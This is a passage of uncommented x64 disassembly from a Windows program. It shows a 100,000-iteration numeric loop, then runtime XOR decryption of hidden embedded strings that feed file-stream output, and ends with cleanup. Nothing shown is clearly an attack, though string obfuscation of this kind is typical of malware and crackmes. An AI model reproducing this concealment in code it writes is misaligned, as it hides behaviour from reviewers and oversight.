mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x140016f06
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140016f06
nop word [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x140016ef0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140016f81
movaps xmm1, xmm8
movaps xmm2, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x5a0]
call fcn.140029e90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140016f30
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x140016de3
sub r13, 1
jne 0x140016de0
mov rdi, qword [rbp - 0x70]
mov rcx, qword [rbp + 0x220]
test rcx, rcx
je 0x140016fff
mov rax, qword [rbp + 0x230]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017063
call fcn.140031bd4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x220], xmm0
xor r12d, r12d
mov qword [rbp + 0x230], r12
jmp 0x140017002
xor r12d, r12d
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0xf
jbe 0x14001703f
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001703a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001706a
call fcn.140031bd4
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
cmp eax, 0x186a0
jl 0x1400165d0
movabs rsi, 0xb2f4fc0794908cf3
jmp 0x140016530
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x1c8]
test rbx, rbx
je 0x14001710f
mov rdi, qword [rbp + 0x1d0]
cmp rbx, rdi
je 0x1400170b7
mov r14d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400170a7
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140017097
mov rbx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1d8]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400170f5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400170f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140031bd4
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1c8], xmm0
mov qword [rbp + 0x1d8], r12
movups xmm0, xmmword [0x140036748]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x140036758]
movups xmmword [rbp + 0x130], xmm1
movsd xmm0, qword [0x140036768]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140036770]
mov dword [rbp + 0x148], eax
movzx eax, word [0x140036774]
mov word [rbp + 0x14c], ax
mov r9d, r12d
movdqa xmm10, xmmword [0x1400372e0]
mov ebx, dword [0x14003f090]
cmp ebx, 2
jl 0x140017330
movdqa xmm7, xmmword [0x1400372a0]
movdqa xmm5, xmmword [0x140037310]
movdqa xmm6, xmmword [0x140037340]
movdqa xmm8, xmmword [0x1400372c0]
movdqa xmm9, xmmword [0x1400372d0]
movdqa xmm0, xmmword [0x140037300]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x120]
mov edx, dword [rbp - 0x80]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm7
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm6
pmuldq xmm1, xmm6
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x1400171b1
cmp r9d, 0x2e
jge 0x14001738f
movsxd rax, r9d
lea r10, [rbp + 0x120]
add r10, rax
nop dword [rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2e
jl 0x140017340
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x360]
call fcn.140027790
mov eax, dword [0x140036028]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14003602c]
mov word [rsp + 0x6c], ax
movzx eax, byte [0x14003602e]
movsd xmm0, qword [0x140036020]
mov byte [rsp + 0x6e], al
movsd qword [rsp + 0x60], xmm0
mov r9d, r12d
cmp ebx, 2
jl 0x140017565
movdqa xmm6, xmmword [0x140037310]
movdqa xmm7, xmmword [0x140037340]
movdqa xmm4, xmmword [0x1400372a0]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 3
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372c0]
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372d0]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm1, xmm0
movd xmm0, dword [0x140036020]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm4, xmmword [0x1400372b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372c0]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x60]
add r10, rax
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xf
jl 0x140017570
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x360]
call fcn.140027790
lea rdx, [rbp + 0x238]
mov r8, qword [rbp + 0x248]
mov rcx, rax
cmp qword [rbp + 0x250], 0xf
jbe 0x1400175f2
mov rdx, qword [rbp + 0x238]
call fcn.140028ae0
mov r10, rax
mov eax, dword [0x140036038]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14003603c]
movsd xmm0, qword [0x140036030]
mov byte [rsp + 0x7c], al
movsd qword [rsp + 0x70], xmm0
mov r8d, r12d
cmp ebx, 2
jl 0x1400177b1
movdqa xmm6, xmmword [0x140037310]
movdqa xmm7, xmmword [0x140037340]
movdqa xmm4, xmmword [0x1400372a0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372c0]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
mov eax, dword [0x140037300]
movd xmm0, eax
psubb xmm1, xmm0
movd xmm0, dword [0x140036030]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm4, xmmword [0x1400372b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400372d0]
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmmword [0x1400372c0]
psubd xmm4, xmm0
andps xmm4, xmm10
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7f
mov eax, 0xec1dd343
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x67
sub dl, cl
lea eax, [r8 - 3]
add al, al
add dl, al
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400177c0
lea rdx, [rsp + 0x70]
mov rcx, r10
call fcn.140027790
lea rcx, [rbp + 0x368]
call fcn.140026a00
test rax, rax
jne 0x14001784f
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x360]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x140017893
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001788e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001788e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031bd4
mov qword [rbp + 0x248], r12
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], 0
xorps xmm0, xmm0
mov r13, qword [rbp + 0x10]
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], r12
movups xmm0, xmmword [rbp + 0x270]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x280]
movups xmmword [r13 + 0x10], xmm1
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], 0
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x360], rax
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x35c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x3e8], 0
je 0x140017972
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rbp + 0x3d8]
cmp rax, rcx
jne 0x140017972
mov r9, qword [rbp + 0x3f8]
mov rdx, qword [rbp + 0x3f0]
mov r8, rdx
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
cmp byte [rbp + 0x3e4], 0
je 0x140017987
lea rcx, [rbp + 0x368]
call fcn.140026a00
lea rcx, [rbp + 0x368]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x370]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x408]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x1400179f4
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400179ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400179ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031bd4
mov qword [rbp + 0x280], r12
mov qword [rbp + 0x288], 0xf
mov byte [rbp + 0x270], 0
mov rdx, qword [rbp + 0x310]
cmp rdx, 0xf
jbe 0x140017a51
inc rdx
mov rcx, qword [rbp + 0x2f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017a4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140031bd4
mov qword [rbp + 0x308], r12
mov qword [rbp + 0x310], 0xf
mov byte [rbp + 0x2f8], 0
mov rax, qword [rbp + 0x4b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x4ac], edx
lea rcx, [rbp + 0x4b8]
call fcn.140025bb0
lea rcx, [rbp + 0x4c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x538]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x330]
xor rdx, qword [rbp + 0x338]
mov rcx, qword [rbp + 0x340]
mov qword [rcx], rdx
mov rax, r13
jmp 0x140017b44
mov byte [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x10]
call fcn.1400264a0
nop
lea rcx, [rbp + 0x360]
call fcn.140017c20
nop
lea rcx, [rbp + 0x270]
call fcn.140026440
nop
lea rcx, [rbp + 0x2f8]
call fcn.140026440
nop
lea rcx, [rbp + 0x4b0]
call fcn.140017bb0
nop
mov rcx, qword [rbp + 0x330]
xor rcx, qword [rbp + 0x338]
mov rax, qword [rbp + 0x340]
mov qword [rax], rcx
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x54f0]
xor rcx, rsp
call fcn.140031740
lea r11, [rsp + 0x56a0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret